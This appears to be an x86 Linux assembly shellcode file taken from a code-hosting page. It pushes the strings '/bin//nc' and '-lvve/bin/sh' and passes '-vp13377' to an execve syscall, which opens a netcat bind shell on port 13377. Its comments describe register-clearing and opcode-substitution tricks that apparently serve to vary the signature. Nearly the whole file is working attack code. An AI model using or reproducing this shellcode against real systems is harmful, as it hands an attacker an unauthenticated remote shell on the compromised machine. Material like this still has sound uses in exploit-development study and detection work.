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executable file 37 lines (29 sloc) 557 Bytes
section .text
global _start
_start:
xor ecx,ecx
mul ecx ; mul technique to clear out EAX and EDX
jmp short arg1 ; jmp/call/pop technique
poptag1:
pop edx ; replace the push opcode
push eax
push 0x68732f6e
push 0x69622f65
push 0x76766c2d
mov ecx,esp
push eax
push 0x636e2f2f
push 0x2f2f2f2f
push 0x6e69622f
mov ebx, esp
push eax
push edx
push ecx
push ebx
mov edx,eax ; replace the xor opcode
mov ecx,esp
mov al,11 ; execve syscall
int 0x80
arg1:
call poptag1
string1 db "-vp13377"